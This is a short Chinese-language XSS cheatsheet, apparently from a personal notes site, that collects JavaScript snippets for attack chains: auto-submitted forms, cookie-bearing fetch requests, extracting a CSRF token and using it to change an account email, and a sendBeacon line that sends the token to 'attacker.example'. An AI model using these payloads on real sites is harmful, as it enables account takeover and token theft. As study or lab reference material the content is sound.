XSS

Cheatsheet

自动提交表单#

HTML
<form action="https://example.com/submit" method="POST">
  <input type="hidden" name="t" value="hello">
  <button type="submit">提交</button>
</form>
<script>
document.form[0].submit();
</script>

或者根据 id 选择器去提交指定表单:

HTML
<form id="f" action="https://example.com/submit" method="POST">
  <input type="hidden" name="t" value="hello">
</form>
<script>
document.getElementById('f').submit();
</script>

发请求并拿到正文#

JavaScript
const html = await (await fetch("/settings", { credentials: "include" })).text();

credentials: "include" 保证带上当前站的 Cookie(同源时其实默认也会带,写上只是免得自己忘)。

如果是 JSON 接口,则把 .text() 换成 .json():

JavaScript
const data = await (await fetch("/api/me", { credentials: "include" })).json();
const token = data.csrfToken;

如果需要发 POST 请求:

JavaScript
const data = await(
    await fetch('/login',{
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            credentials: "include",
            body: JSON.stringify({
                username: "admin",
                password: "test"
            })
        }
    )
).json()

console.log(data)

如果交的是表单数据:

JavaScript
await fetch("/settings/email", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({ csrf: token, email: "a@b.c" })
});

URLSearchParams 会帮你做 key1=value1&key2=value2 和编码。

从 HTML 里抠一个值#

先解析再查询:

JavaScript
const doc = new DOMParser().parseFromString(html, "text/html");
const token = doc.querySelector('input[name="csrf"]').value;

input[name="csrf"] 用于定位元素,通过 标签[属性=属性值]。

input[name="csrf"].value 表示取定位到的元素中的 value 属性的值。

把结果送出源#

用 sendBeacon,页面关掉也能发出去(用的 POST 方法):

JavaScript
navigator.sendBeacon("https://attacker.example/log", token);

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做